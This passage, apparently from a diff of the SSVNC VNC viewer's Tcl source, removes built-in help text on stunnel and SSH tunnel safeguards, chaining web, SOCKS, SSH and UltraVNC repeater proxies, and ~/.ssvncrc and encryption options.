- Use the "-cacert file" option (same as "-ca file") to set a default
- ServerCert (or CA). This is the same as "cacert=file" (also "ca=file")
- in the ~/.ssvncrc file. See Certs -> Help for more info.
-
- Use the "-crl file" option to set a default CRL File. This is the same
- as "crl=file" in the ~/.ssvncrc file. See Certs -> Help for more info.
-
- Prefix any of these files with "FORCE:" to make them immutable.
-
-
-
- More Options:
-
- To set other Options, e.g. for View-Only usage or to limit the number
- of colors used, click on the "Options ..." button and read the Help there.
-
- More Info:
-
- Press the 'Proxies', 'Misc', and 'Tips' buttons below.
-
- See also these links for more information:
-
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tunnel-ext
- http://stunnel.mirt.net
- http://www.tightvnc.com
-}
-
- set help_misc {
- Windows STUNNEL problems:
-
- Note that on Windows when the Viewer connection is finished by default
- SSVNC will try to kill the STUNNEL process for you.
-
- If Options -> Kill Stunnel Automatically is not set you will be
- prompted if you want SSVNC to try to kill the STUNNEL process for you.
- Usually you will say Yes, however if there are problems connecting
- you may want to look at the STUNNEL Log first.
-
- Before it is killed, double clicking the STUNNEL tray icon (dark green)
- will show you its Log file (useful for debugging connection problems).
-
- Even though SSVNC will kill the STUNNEL process for you, you will
- still need to move the mouse over the icon to make the little picture
- go away!!! This is unfortunate but there does not seem to be a way
- to avoid it.
-
- In some cases you may need to terminate STUNNEL manually from the System
- Tray (right click on dark green icon) and selecting "Exit".
-
- Use -nokillstunnel or killstunnel=0 in ~/.ssvncrc to have SSVNC
- start up with stunnel killing disabled.
-
- Untrusted Local Users:
-
- *IMPORTANT WARNING*: If you run SSVNC on a workstation or computer
- that other users can log into and you DO NOT TRUST these users
- (it is a shame but sometimes one has to work in an environment like
- this), then please note the following warning.
-
- By 'do not trust' we mean they might try to gain access to remote
- machines you connect to via SSVNC. Note that an untrusted local
- user can often obtain root access in a short amount of time; if a
- user has achieved that, then all bets are off for ANYTHING that you
- do on the workstation. It is best to get rid of Untrusted Local
- Users as soon as possible.
-
- Both the SSL and SSH tunnels set up by SSVNC listen on certain ports
- on the 'localhost' address and redirect TCP connections to the remote
- machine; usually the VNC server running there (but it could also be
- another service, e.g. CUPS printing). These are the stunnel(8) SSL
- redirection and the ssh(1) '-L' port redirection. Because 'localhost'
- is used only users or programs on the same workstation that is
- running SSVNC can connect to these ports, however this includes any
- local users (not just the user running SSVNC.)
-
- If the untrusted local user tries to connect to these ports, he may
- succeed by varying degrees to gain access to the remote machine.
- We now list some safeguards one can put in place to try to make this
- more difficult to achieve.
-
- It probably pays to have the VNC server require a password, even
- though there has already been SSL or SSH authentication (via
- certificates or passwords). In general if the VNC Server requires
- SSL authentication of the viewer that helps, unless the untrusted
- local user has gained access to your SSVNC certificate keys.
-
- If the VNC server is configured to only allow one viewer connection
- at a time, then the window of opportunity that the untrusted local
- user can use is greatly reduced: he might only have a second or two
- between the tunnel being set up and the SSVNC vncviewer connecting
- to it (i.e. if the VNC server only allows a single connection, the
- untrusted local user cannot connect once your session is established).
- Similarly, when you disconnect the tunnel is torn down quickly and
- there is little or no window of opportunity to connect (e.g. x11vnc
- in its default mode exits after the first client disconnects).
-
- Also for SSL tunnelling with stunnel(8) on Unix using one of the SSVNC
- prebuilt 'bundles', a patched stunnel is provided that denies all
- connections after the first one, and exits when the first one closes.
- This is not true if the system installed stunnel(8) is used and is
- not true when using SSVNC on Windows.
-
- The following are experimental features that are added to SSVNC to
- improve the situation for the SSL/stunnel and SSH cases. Set them
- via Options -> Advanced -> "STUNNEL Local Port Protections" or
- "SSH Local Port Protections".
-
- STUNNEL:
-
- 1) For SSL tunnelling with stunnel(8) on Unix there is a setting
- 'Use stunnel EXEC mode' that will try to exec(2) stunnel
- instead of using a listening socket. This will require using
- the specially modified vncviewer unix viewer provided by SSVNC.
- The mode works well and is currently set as the default.
- Disable it if it causes problems or conflicts.
-
- 2) For SSL tunnelling with stunnel(8) on Unix there is a setting
- 'Use stunnel IDENT check' (experimental) to limit socket
- connections to be from you (this assumes the untrusted local
- user has not become root on your workstation and has modified
- your local IDENT check service; if he has you have much bigger
- problems to worry about...)
-
- Neither of the above methods are available on Windows.
-
- SSH:
-
- 1) There is also a simple LD_PRELOAD trick for SSH to limit the
- number of accepted port redirection connections. This makes the
- window of time the untrusted local user can connect to the tunnel
- much smaller. Enable it via Options -> Advanced -> "SSH Local
- Port Protections". You will need to have the lim_accept.so file
- in your SSVNC package. The mode works well and is currently set
- as the default. Disable it if it causes problems or conflicts.
-
- The above method is not available on Windows.
-
- The main message is to 'Watch your Back' when you connect via the
- SSVNC tunnels and there are users you don't trust on your workstation.
- The same applies to ANY use of SSH '-L' port redirections or outgoing
- stunnel SSL redirection services.
-}
-
- set help_prox {
- Here are a number of long sections on all sorts of proxies, Web, SOCKS,
- SSH tunnels/gateways, UltraVNC, Single Click, etc., etc.
-
-
- Proxies/Gateways:
-
- If an intermediate proxy is needed to make the SSL connection
- (e.g. a web gateway out of a firewall) enter it in the "Proxy/Gateway"
- entry box:
-
- VNC Host-Display: host:number
- Proxy/Gateway: proxy-host:port
- e.g.:
- VNC Host-Display: far-away.east:0
- Proxy/Gateway: myproxy.west:8080
-
-
- If the "double proxy" case is required (e.g. coming out of a web
- proxied firewall environment and then INTO a 2nd proxy to ultimately
- reach the VNC server), separate them via a comma, e.g.:
-
- VNC Host-Display: far-away:0
- Proxy/Gateway: myproxy.west:8080,myhome.net:443
-
- So it goes: viewer -> myproxy.west -> myhome.net -> far-away (VNC)
-
- The proxies are assumed to be Web proxies. To use SOCKS proxies:
-
- VNC Host-Display: far-away.east:0
- Proxy/Gateway: socks://mysocks.west:1080
-
- Use socks5:// to force the SOCKS5 proxy protocol (e.g. for ssh -D).
-
- You can prefix web proxies with http:// in SSL mode but it doesn't matter
- since that is the default for a proxy. (NOTE that in SSH or SSH+SSL
- mode you MUST supply the http:// prefix for web proxies because in those
- modes an SSH tunnel is the default proxy type: see the next section.)
-
- Note that Web proxies are often configured to ONLY allow outgoing
- connections to ports 443 (HTTPS) and 563 (SNEWS), so you might
- have run the VNC server (or router port redirector) on those ports.
- SOCKS proxies usually have no restrictions on port number.
-
- You can chain up to 3 proxies (any combination of web (http://) and
- socks://) by separating them with commas (i.e. first,second,third).
-
- Proxies also work for un-encrypted connections ("None" or vnc://, Tip 5)
-
- See the ss_vncviewer description and x11vnc FAQ for info on proxies:
-
- http://www.karlrunge.com/x11vnc/faq.html#ss_vncviewer
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-java-viewer-proxy
-
-
- SSH Proxies/Gateways:
-
- Proxy/Gateway also applies to SSH mode, it is a usually a gateway SSH
- machine to log into via ssh that is not the workstation running the
- VNC server. However, Web and SOCKS proxies can also be used (see below).
-
- For example if a company had a central login server: "ssh.company.com"
- (accessible from the internet) and the internal workstation with VNC was
- named "joes-pc", then to create an SSH tunnel one could put this in:
-
- VNC Host:Display: joes-pc:0
- Proxy/Gateway: ssh.company.com
-
- It is OK if the hostname "joes-pc" only resolves inside the firewall.
-
- The 2nd leg, from ssh.company.com -> joes-pc is done by a ssh -L
- redir and is not encrypted (but the viewer -> ssh.company.com 1st leg is
- an encrypted tunnel).
-
- To SSH encrypt BOTH legs, try the "double SSH gateway" method using
- the "comma" notation:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: ssh.company.com,joes-pc
-
- this requires an SSH server also running on joes-pc. So an initial SSH
- login is done to ssh.company.com, then a 2nd SSH is performed (through
- port a redirection of the first) to login straight to joes-pc where
- the VNC server is running.
-
- Use username@host (e.g. joe@joes-pc jsmith@ssh.company.com) if the
- user names differ between the various machines.
-
- NOTE: On Windows you MUST always supply the username@ because putty's
- plink requires it.
-
-
- NON-STANDARD SSH PORT: To use a non-standard ssh port (i.e. a port other
- than 22) you need to use the Proxy/Gateways as well. E.g. something
- like this for port 2222:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: joe@far-away.east:2222
-
- On Unix/MacOSX the username@ is not needed if it is the same as on
- the client. This will also work going to a different internal machine,
- e.g. "joes-pc:0" instead of "localhost:0", as in the first example.
-
-
- A Web or SOCKS proxy can also be used with SSH. Use this if you are
- inside a firewall that prohibits direct connections to remote SSH servers.
-
- VNC Host:Display: joe@far-away.east:0
- Proxy/Gateway: http://myproxy.west:8080
-
- or for SOCKS:
-
- VNC Host:Display: joe@far-away.east:0
- Proxy/Gateway: socks://mysocks.west:1080
-
- Use socks5://... to force the SOCKS5 version. Note that the http://
- prefix is REQUIRED for web proxies in SSH or SSH+SSL modes (but it is
- the default proxy type in SSL mode.)
-
- You can chain up to 3 proxies (any combination of http://, socks://
- and ssh) by separating them with commas (i.e. first,second,third).
-
- Note: the Web and/or SOCKS proxies must come before any SSH gateways.
-
- For a non-standard SSH port and a Web or SOCKS proxy try:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: http://myproxy.west:8080,joe@far-away.east:2222
-
- Even the "double SSH gateway" method (2 SSH encrypted legs) described
- above works with an initial Web or SOCKS proxy, e.g.:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: socks://mysocks.west:1080,ssh.company.com,joes-pc
-
-
-
- Some Notes on SSH localhost tunnelling with SSH options
- NoHostAuthenticationForLocalhost=yes and UserKnownHostsFile=file:
-
- Warning: Note that for proxy use with ssh(1), tunnels going through
- 'localhost' are used. This means ssh(1) thinks the remote hostname is
- 'localhost', which may cause collisions and confusion when storing
- and checking SSH keys.
-
- By default on Unix when a 'localhost' ssh host is involved the
- ssh option -o NoHostAuthenticationForLocalhost=yes is applied (see
- ssh_config(1) for details.) This avoids the warnings and ssh refusing
- to connect, but it reduces security. A man in the middle attack may
- be possible. SSVNC prints out a warning in the terminal every time
- the NoHostAuthenticationForLocalhost option is used.
-
- On Unix to disable the use of NoHostAuthenticationForLocalhost set the env.
- variable SSVNC_SSH_LOCALHOST_AUTH=1. This may induce extra ssh(1) dialogs.
-
- On Unix a MUCH SAFER and more convenient way to proceed is to set the
- known hosts option in Options -> Advanced -> 'Private SSH KnownHosts file'
- Then, only for the host in the current profile, a private known_hosts
- file will be used and so there will be no 'localhost' collisions.
- This method is secure (assuming you verify the SSH key fingerprint)
- and avoids the man in the middle attack.
-
- On Windows, Putty/Plink is used and does not have the UserKnownHosts
- or NoHostAuthenticationForLocalhost features. Keys are stored in
- the registry as localhost:port pairs and so it is possible to use the
- 'Port Slot' option to keep the keys separate to avoid the dialogs and
- also maintain good security.
-
- Note that for the "double SSH gateway" method the risk from using
- NoHostAuthenticationForLocalhost is significantly less because the first
- ssh connection does not use the option (it connects directly to the remote
- host) and the second one is only exposed for the leg inside the first
- gateway (but is still vulnerable there when NoHostAuthenticationForLocalhost
- is used.)
-
- As with a username that contains a space, use %SPACE (or %TAB) to
- indicate it in the SSH proxies, e.g. john%SPACEsmith@ssh.company.com
-
- UltraVNC Proxies/Gateways:
-
- UltraVNC has a "repeater" tool (http://www.uvnc.com/addons/repeater.html
- and http://koti.mbnet.fi/jtko/) that acts as a VNC proxy. SSVNC can
- work with both mode I and mode II schemes of this repeater.
-
- For Unix and MacOS X there is another re-implementation of the
- UltraVNC repeater:
-
- http://www.karlrunge.com/x11vnc/ultravnc_repeater.pl
-
- So one does not need to run the repeater on a Windows machine.
-
- Note that even though the UltraVNC repeater tool is NOT SSL enabled,
- it can nevertheless act as a proxy for SSVNC SSL connections.
- This is because, just as with a Web proxy, the proxy negotiations
- occur before the SSL traffic starts. (There is a separate UltraVNC
- tool, repeater_SSL.exe, that is SSL enabled and is discussed below.)
-
- Note: it seems only SSL SSVNC connections make sense with the
- UltraVNC repeater. SSH connections (previous section) do not seem to
- and so are not enabled to (let us know if you find a way to use it.)
-
- Unencrypted (aka Direct) SSVNC VNC connections (Vnc:// prefix in
- 'VNC Host:Display'; see Tip 5) also work with the UltraVNC repeater.
-
- MODE I REPEATER:
-
- For the mode I UltraVNC repeater the Viewer initiates the connection
- and passes a string that is the VNC server's IP address (or hostname)
- and port or display to the repeater (the repeater then makes the
- connection to the server host and then exchanges data back and forth.)
- To do this in SSVNC:
-
- VNC Host:Display: :0
- Proxy/Gateway: repeater://myuvncrep.west:5900+joes-pc:1
-
- Where "myuvncrep.west" is running the UltraVNC repeater and
- "joes-pc:1" is the VNC server the repeater will connect us to.
-
- Note here that the VNC Host:Display can be anything because it is
- not used; we choose :0. You cannot leave VNC Host:Display empty.
-
- The Proxy/Gateway format is repeater://proxy:port+vncserver:display.
- The string after the "+" sign is passed to the repeater server for
- it to interpret (and so does not have to be the UltraVNC repeater;
- you could create your own if you wanted to.) For this example,
- instead of joes-pc:1 it could be joes-pc:5901 or 192.168.1.4:1,
- 192.168.1.4:5901, etc.
-
- If you do not supply a proxy port, then the default 5900 is assumed,
- e.g. use repeater://myuvncrep.west+joes-pc:1 for port 5900 on
- myuvncrep.west then connecting to port 5901 on joes-pc.
-
- X11VNC: For mode I operation the VNC server x11vnc simply runs as
- a normal SSL/VNC server:
-
- x11vnc -ssl SAVE
-
- because the repeater will connect to it as a VNC client would.
- For mode II operation additional options are needed (see below.)
-
-
- MODE II REPEATER:
-
- For the mode II repeater both the VNC viewer and VNC server initiate
- TCP connections to the repeater proxy. In this case they pass a string
- that identifies their mutual connection via "ID:NNNN", for example:
-
- VNC Host:Display: :0
- Proxy/Gateway: repeater://myuvncrep.west:5900+ID:2345
-
- again, the default proxy port is 5900 if not supplied. And we need
- to supply a placeholder display ":0".
-
- The fact that BOTH the VNC viewer and VNC server initiate outgoing
- TCP connections to the repeater makes some things tricky, especially
- for the SSL aspect. In SSL one side takes the 'client' role and
- the other side must take the 'server' role. These roles must be
- coordinated correctly or otherwise the SSL handshake will fail.
-
- We now describe two scenarios: 1) SSVNC in Listening mode with STUNNEL
- in 'SSL server' role; and 2) SSVNC in Forward mode with STUNNEL in
- 'SSL client' role. For both cases we show how the corresponding
- VNC server x11vnc would be run.
-
- SSVNC Listening mode / STUNNEL 'SSL server' role:
-
- By default, when using SSL over a reverse connection the x11vnc VNC
- server will take the 'SSL client' role. This way it can connect to a
- standard STUNNEL (SSL server) redirecting connections to a VNC viewer
- in Listen mode. This is how SSVNC with SSL is normally intended to
- be used for reverse connections (i.e. without the UltraVNC Repeater.)
-
- To do it this way with the mode II UltraVNC Repeater; you set
- Options -> Reverse VNC Connection, i.e. a "Listening Connection".
- You should disable 'Verify All Certs' unless you have already
- saved the VNC Server's certificate to Accepted Certs. Or you can
- set ServerCert to the saved certificate. Then click 'Listen'.
- In this case an outgoing connection is made to the UltraVNC
- repeater, but everything else is as for a Reverse connection.
-
- Note that in Listening SSL mode you must supply a MyCert or use the
- "listen.pem" one you are prompted by SSVNC to create.
-
- X11VNC command:
-
- x11vnc -ssl -connect_or_exit repeater://myuvncrep.west+ID:2345
-
-
- SSVNC Forward mode / STUNNEL 'SSL client' role:
-
- x11vnc 0.9.10 and later can act in the 'SSL server' role for Reverse
- connections (i.e. as it does for forward connections.) Set these
- x11vnc options: '-env X11VNC_DISABLE_SSL_CLIENT_MODE=1 -sslonly'
-
- The -sslonly option is to prevent x11vnc from thinking the delay in
- connection implies VeNCrypt instead of VNC over SSL. With x11vnc
- in X11VNC_DISABLE_SSL_CLIENT_MODE mode, you can then have SSVNC make
- a regular forward connection to the UltraVNC repeater.
-
- Note that SSVNC may attempt to do a 'Fetch Cert' action in forward
- connection mode to either retrieve the certificate or probe for
- VeNCrypt and/or ANONDH. After that 'Fetch Cert' is done the
- connection to the UltraVNC repeater will be dropped. This is a
- problem for the subsequent real VNC connection. You can disable
- 'Verify All Certs' AND also set 'Do not Probe for VeNCrypt'
- to avoid the 'Fetch Cert' action. Or, perhaps better, add to
- x11vnc command line '-connect_or_exit repeater://... -loop300,2'
- (in addition to the options in the previous paragraphs.) That way
- x11vnc will reconnect once to the Repeater after the 'Fetch Cert'
- action. Then things should act pretty much as a normal forward
- SSL connection.
-
- X11VNC 0.9.10 command (split into two lines):
-
- x11vnc -ssl -connect_or_exit repeater://myuvncrep.west+ID:2345 \
- -env X11VNC_DISABLE_SSL_CLIENT_MODE=1 -loop300,2 -sslonly
-
- We recommend using "SSVNC Forward mode / STUNNEL 'SSL client' role"
- if you are connecting to x11vnc 0.9.10 or later. Since this does
- not use Listen mode it should be less error prone and less confusing
- and more compatible with other features. Be sure to use all of
- the x11vnc options in the above command line. To enable VeNCrypt,
- replace '-sslonly' with '-vencrypt force'. If you do not indicate
- them explicitly to SSVNC, SSVNC may have to probe multiple times for
- VeNCrypt and/or ANONDH. So you may need '-loop300,4' on the x11vnc
- cmdline so it will reconnect to the UltraVNC repeater 3 times.
-
-
- Note that for UNENCRYPTED (i.e. direct) SSVNC connections (see vnc://
- in Tip 5) using the UltraVNC Repeater mode II there is no need to
- use a reverse "Listening connection" and so you might as well use
- a forward connection.
-
- For Listening connections, on Windows after the VNC connection you
- MUST manually terminate the listening VNC Viewer (and connect again
- if desired.) Do this by going to the System Tray and terminating
- the Listening VNC Viewer. Subsequent connection attempts using the
- repeater will fail unless you do this and restart the Listen.
-
- On Unix and MacOS X after the VNC connection the UltraVNC repeater
- proxy script will automatically restart and reconnect to the repeater
- for another connection. So you do not need to manually restart it.
- To stop the listening, kill the listening VNC Viewer with Ctrl-C.
-
- In the previous sections it was mentioned one can chain up to 3
- proxies together by separating them with commas: proxy1,proxy2,proxy3.
- Except where explicitly noted below this should work for "repeater://..."
- as the final proxy. E.g. you could use a web proxy to get out of a
- firewall, and then connect to a remote repeater.
-
- The UltraVNC SSL enabled repeater_SSL.exe is discussed below.
-
-
- UltraVNC Single Click:
-
- UltraVNC has Single Click (SC) Windows VNC servers that allow naive
- users to get them running very easily (a EXE download and a few
- mouse clicks). See http://sc.uvnc.com/ for details on how to create
- these binaries. Also there is a how-to here:
- http://www.simply-postcode-lookup.com/SingleClickUltraVNC/SingleClickVNC.htm
-
- The SC EXE is a VNC *server* that starts up a Reverse VNC connection
- to a Listening Viewer (e.g. the viewer address/port/ID is hardwired
- into the SC EXE). So SC is not really a proxy, but it can be used
- with UltraVNC repeater proxies and so we describe it here.
-
- One important point for SC III binary creation: do NOT include
- "-id N" in the helpdesk.txt config file. This is because the with
- SSVNC the Ultra VNC repeater IS NOT USED (see below for how to
- use it). Use something like for helpdesk.txt:
-
- [TITLE]
- My UltraVNC SC III
-
- [HOST]
- Internet Support XYZ
- -sslproxy -connect xx.xx.xx.xx:5500 -noregistry
-
- (replace xx.xx.xx.xx with IP address or hostname of the SSVNC machine.)
-
- The Unix SSVNC vncviewer supports the both the unencrypted "SC I"
- mode and the SSL encrypted "SC III" mode. For both cases SSVNC
- must be run in Listening mode (Options -> Reverse VNC Connection)
-
- For SC I, enable Reverse VNC Connection and put Vnc://0 (see Tip 5
- below) in the VNC Host:Display to disable encryption (use a different
- number if you are not using the default listening port 5500).
- Then click on the "Listen" button and finally have the user run your
- Single Click I EXE.
-
- BTW, we used this for a SC I helpdesk.txt:
-
- [TITLE]
- My UltraVNC SC I
-
- [HOST]
- Internet Support XYZ
- -connect xx.xx.xx.xx:5500 -noregistry
-
- For SC III (SSL), enable Reverse VNC Connection and then UNSET "Verify
- All Certs" (this is required). Let the VNC Host:Display be ":0"
- (use a different number if you are not using the default listening
- port 5500). Then click on the "Listen" button and finally have the
- user run your Single Click III EXE.
-
- Note that in Listening SSL mode you MUST supply a MyCert or use the
- "listen.pem" one you are prompted by SSVNC to create.
-
-
- UltraVNC repeater_SSL.exe proxy:
-
- For repeater_SSL.exe SSL usage, with Single Click III or otherwise
- (available at http://www.uvnc.com/pchelpware/SCIII/index.html)
- it helps to realize that the ENTIRE connection is SSL encrypted,
- even the proxy host:port/ID:NNNN negotiation, and so a different
- approach needs to be taken from that described above in 'UltraVNC
- Proxies/Gateways'. In this case do something like this:
-
- VNC Host:Display: :0
- Proxy/Gateway: sslrepeater://myuvncrep.west:443+ID:2345
-
- The sslrepeater:// part indicates the entire ID:XYZ negotiation must
- occur inside the SSL tunnel. Listening mode is not required in this
- case: a forward VNC connection works fine (and is recommended).
- As before, the ":0" is simply a placeholder and is not used.
- Note that the UltraVNC repeater_SSL.exe listens on port 443 (HTTPS),
- (it is not clear that it can be modified to use another port.)
-
- Non-ID connections sslrepeater://myuvncrep.west:443+host:disp also
- work, but the 2nd leg repeater <-> host:disp must be unencrypted.
- The first leg SSVNC <-> repeater is, however, SSL encrypted.
-
- sslrepeater:// only works on Unix or MacOSX using the provided
- SSVNC vncviewer. The modified viewer is needed; stock VNC viewers
- will not work. Also, proxy chaining (bouncing off of more than one
- proxy) currently does not work for repeater_SSL.exe.
-
-
- VeNCrypt is treated as a proxy:
-
- SSVNC supports the VeNCrypt VNC security type. You will find out more
- about this security type in the other parts of the Help documentation.
- In short, it does a bit of plain-text VNC protocol negotiation before
- switching to SSL/TLS encryption and authentication.
-
- SSVNC implements its VeNCrypt support as final proxy in a chain
- of proxies. You don't need to know this or specify anything, but
- it is good to know since it uses up one of the 3 proxies you are
- allowed to chain together. If you watch the command output you will
- see the vencrypt:// proxy item.
-
- You can specify that a VNC server uses VeNCrypt (Options -> Advanced)
- or you can let SSVNC try to autodetect VeNCrypt.
-
-
- IPv6 can be treated as a proxy for UN-ENCRYPTED connections:
-
- Read Tip 20 about SSVNC's IPv6 (128 bit IP addresses) support.
- In short, because stunnel and ssh support IPv6 hostnames and
- addresses, SSVNC does too without you needing to do anything.
-
- However, in some rare usage modes you will need to specify the IPv6
- server destination in the Proxy/Gateway entry box. The only case
- this appears to be needed is when making an un-encrypted connection
- to an IPv6 VNC server. In this case neither stunnel nor ssh are
- used and you need to specify something like this:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: ipv6://2001:4860:b009::68:5900
-
- and then select 'None' as the encryption type. Note that the above
- 'localhost:0' setting can be anything; it is basically ignored.
-
- Note that on Unix, MacOSX, and Windows un-encrypted ipv6 connections
- are AUTODETECTED and so you likely NEVER need to supply ipv6://
- Only try it if you encounter problems. Also note that the ipv6://
- proxy type does not work on Windows, so only the autodetection is
- available there.
-
- Note that if there is some other proxy, e.g. SOCKS or HTTP and that
- proxy server is an IPv6 host (or will connect you to one) then any
- sort of connection through that proxy will work OK: un-encrypted as
- well as SSL or SSH connections, etc.
-
- Unencrypted connection is the only special case where you may need
- to specify an ipv6:// proxy. If you find another use let us know.
-
- See Tip 20 for more info.
-}
-
- set help_tips {
- Tips and Tricks:
-
- Table of Contents:
-
- 1) Connect to Non-Standard SSH port.
- 2) Reverse VNC connections (Listening)
- 3) Global options in ~/.ssvncrc
- 4) Fonts
- 5) vnc://host for un-encrypted connection
- 6) Home directory for memory stick usage, etc.
- 7) vncs:// vncssl:// vnc+ssl:// vnc+ssh:// URL-like prefixes
- 8) sshvnc / -ssh SSH only GUI
- 9) tsvnc / -ts Terminal services only GUI (SSH+x11vnc)
- 10) 2nd GUI window on Unix/MacOSX
- 11) Ctrl-L or Button3 to Load profile
- 12) SHELL command or Ctrl-S for SSH terminal w/o VNC
- 13) KNOCK command for port-knock sequence
- 14) Unix/MacOSX general SSL redirector (not just VNC)
- 15) Environment variables
- 16) Bigger "Open File" dialog window
- 17) Unix/MacOSX extra debugging output
- 18) Dynamic VNC Server Port determination with SSH
- 19) No -t ssh cmdline option for older sshd
- 20) IPv6 support.
-
- 1) To connect in SSH-Mode to a server running SSH on a non-standard
- port (22 is the standard port) you need to use the Proxy/Gateway
- setting. The following is from the Proxies Help panel:
-
- NON-STANDARD SSH PORT: To use a non-standard ssh port (i.e. a port other
- than 22) you need to use the Proxy/Gateways as well. E.g. something
- like this for port 2222:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: joe@far-away.east:2222
-
- The username@ is not needed if it is the same as on the client. This
- will also work going to a different internal machine, e.g. "joes-pc:0"
- instead of "localhost:0", as in the first example.
-
- 2) Reverse VNC connections (Listening) are possible as well.
- In this case the VNC Server initiates the connection to your
- waiting (i.e. listening) SSVNC viewer.
-
- Go to Options and select "Reverse VNC connection". In the 'VNC
- Host:Display' entry box put in the number (e.g. "0" or ":0", or
- ":1", etc) that corresponds to the Listening display (0 -> port
- 5500, 1 -> port 5501, etc.) you want to use. Then clicking on
- 'Listen' puts your SSVNC viewer in a "listening" state on that
- port number, waiting for a connection from the VNC Server.
-
- On Windows or using a 3rd party VNC Viewer multiple, simultaneous
- reverse connections are always enabled. On Unix/MacOSX with the
- provided ssvncviewer they are disabled by default. To enable them:
- Options -> Advanced -> Unix ssvncviewer -> Multiple LISTEN Connections
-
- Specify a specific interface, e.g. 192.168.1.1:0 to have stunnel
- only listen on that interface. IPv6 works too, e.g. :::0 or ::1:0
- This also works for UN-encrypted reverse connections as well ('None').
-
- See the Options Help for more info.
-
- 3) You can put global options in your ~/.ssvncrc file (ssvnc_rc on
- Windows). Currently they are:
-
- Put "mode=tsvnc" or "mode=sshvnc" in the ~/.ssvncrc file to have
- the application start up in the given mode.
-
- desktop_type=wmaker (e.g.) to switch the default Desktop Type.
-
- desktop_size=1280x1024 (e.g.) to switch the default Desktop Size.
-
- desktop_depth=24 (e.g.) to switch the default Desktop Color Depth
-
- xserver_type=Xdummy (e.g.) to switch the default X Server Type.
-
- (The above 4 settings apply only to the Terminal Services Mode.)
-
- noenc=1 (same as the -noenc option for a 'No Encryption' option)
- noenc=0 (do not show the 'No Encryption' option)
-
- killstunnel=1 (same as -killstunnel), on Windows automatically kills
- the STUNNEL process when the viewer exits. Disable via killstunnel=0
- and -nokillstunnel.
-
- ipv6=0 act as though IPv6 was not detected.
- ipv6=1 act as though IPv6 was detected.
-
- cotvnc=1 have the default vncviewer on Mac OS X be the Chicken of
- the VNC. By default the included ssvnc X11 vncviewer is used
- (requires Mac OS X X11 server to be running.)
-
- mycert=file (same as -mycert file option). Set your default MyCert
- to "file". If file does not exist ~/.vnc/certs/file is used.
-
- cacert=file (same as -cacert file option). Set your default ServerCert
- to "file". If file does not exist ~/.vnc/certs/file is used. If
- file is "CA" then ~/.vnc/certs/CA/cacert.pem is used.
-
- crl=file (same as -crl file option). Set your default CRL File
- to "file". If file does not exist ~/.vnc/certs/file is used.
-
- Prefix any of these cert/key files with "FORCE:" to make them
- immutable, e.g. "cacert=FORCE:CA".
-
- You can set any environment variable in ~/.ssvncrc by using a line
- like env=VAR=value, for example: env=SSVNC_FINISH_SLEEP=2
-
- To change the fonts (see Tip 4 below for examples):
-
- font_default=tk-font-name (sets the font for menus and buttons)
- font_fixed=tk-font-name (sets the font for help text)
-
- 4) Fonts: To change the tk fonts, set these environment variables
- before starting up ssvnc: SSVNC_FONT_DEFAULT and SSVNC_FONT_FIXED.
- For example:
-
- % env SSVNC_FONT_DEFAULT='helvetica -20 bold' ssvnc
- % env SSVNC_FONT_FIXED='courier -14' ssvnc
-
- or set both of them at once. You can also set 'font_default' and
- 'font_fixed' in your ~/.ssvncrc. E.g.:
-
- font_default=helvetica -16 bold
- font_fixed=courier -12
-
- 5) If you want to make a Direct VNC connection, WITH *NO* SSL OR
- SSH ENCRYPTION or authentication, use the "vnc://" prefix in the
- VNC Host:Display entry box, e.g. "vnc://far-away.east:0" This
- also works for reverse connections, e.g. vnc://0
-
- Use Vnc:// (i.e. capital 'V') to avoid being prompted if you are
- sure you want no encryption. For example, "Vnc://far-away.east:0"
- Shift+Ctrl-E in the entry box is a short-cut to add or remove
- the prefix "Vnc://" from the host:disp string.
-
- You can also run ssvnc with the '-noenc' cmdline option (now
- the default) to have a check option 'None' that lets you turn off
- Encryption (and profiles will store this setting). Pressing Ctrl-E
- on the main panel is a short-cut to toggle between the -noenc 'No
- Encryption' mode and normal mode. The option "Show 'No Encryption'
- Option" under Options also toggles it.
-
- The '-enc' option disables the button (and so makes it less obvious
- to naive users how to disable encryption.)
-
- Note as of SSVNC 1.0.25 the '-noenc' mode is now the default. I.e.
- the 'No Encryption' option ('None') is shown by default. When
- you select 'None' you do not need to supply the "vnc://" prefix.
- To disable the button supply the '-enc' cmdline option.
-
- Setting SSVNC_DISABLE_ENCRYPTION_BUTTON=1 in your environment is
- the same as -noenc. You can also put noenc=1 in your ~/.ssvncrc file.
-
- Setting SSVNC_DISABLE_ENCRYPTION_BUTTON=0 in your environment is
- the same as -enc. You can also put noenc=0 in your ~/.ssvncrc file.
-
- Please be cautious/thoughtful when you make a VNC connection with
- encryption disabled. You may send sensitive information (e.g. a
- password) over the network that can be sniffed.
-
- It is also possible (although difficult) for someone to hijack an
- existing unencrypted VNC session.
-
- Often SSVNC is used to connect to x11vnc where the Unix username and
- password is sent over the channel. It would be a very bad idea to
- let that data be sent over an unencrypted connection! In general,
- it is not wise to have a plaintext VNC connection.
-
- Note that even the VNC Password challenge-response method (the password
- is not sent in plaintext) leaves your VNC password susceptible to a
- dictionary attack unless encryption is used to hide it.
-
- So (well, before we made the button visible by default!) we forced
- you to learn about and supply the "vnc://" or "Vnc://" prefix to
- the host:port or use -noenc or the "Show 'No Encryption' Option"
- to disable encryption. This is a small hurdle, but maybe someone
- will think twice. It is a shame that VNC has been around for
- over 10 years and still does not have built-in strong encryption.
-
- Note the Vnc:// or vnc:// prefix will be stored in any profile that
- you save so you do not have to enter it every time.
-
- Set the env var SSVNC_NO_ENC_WARN=1 to skip the warning prompts the
- same as the capitalized Vnc:// does.
-
- 6) Mobile USB memory stick / flash drive usage: You can unpack
- ssvnc to a flash drive for impromptu usage (e.g. from a friends
- computer).
-
- If you create a directory "Home" in the toplevel ssvnc directory,
- then that will be the default location for your VNC profiles
- and certs. So they follow the drive this way. If you run like
- this: "ssvnc ." or "ssvnc.exe ." the "Home" directory will be
- created for you.
-
- WARNING: if you use ssvnc from an "Internet Cafe", i.e. an
- untrusted computer, an unscrupulous person may be capturing
- keystrokes, etc.!
-
- You can also set the SSVNC_HOME env. var. to point to any
- directory you want. It can be set after starting ssvnc by putting
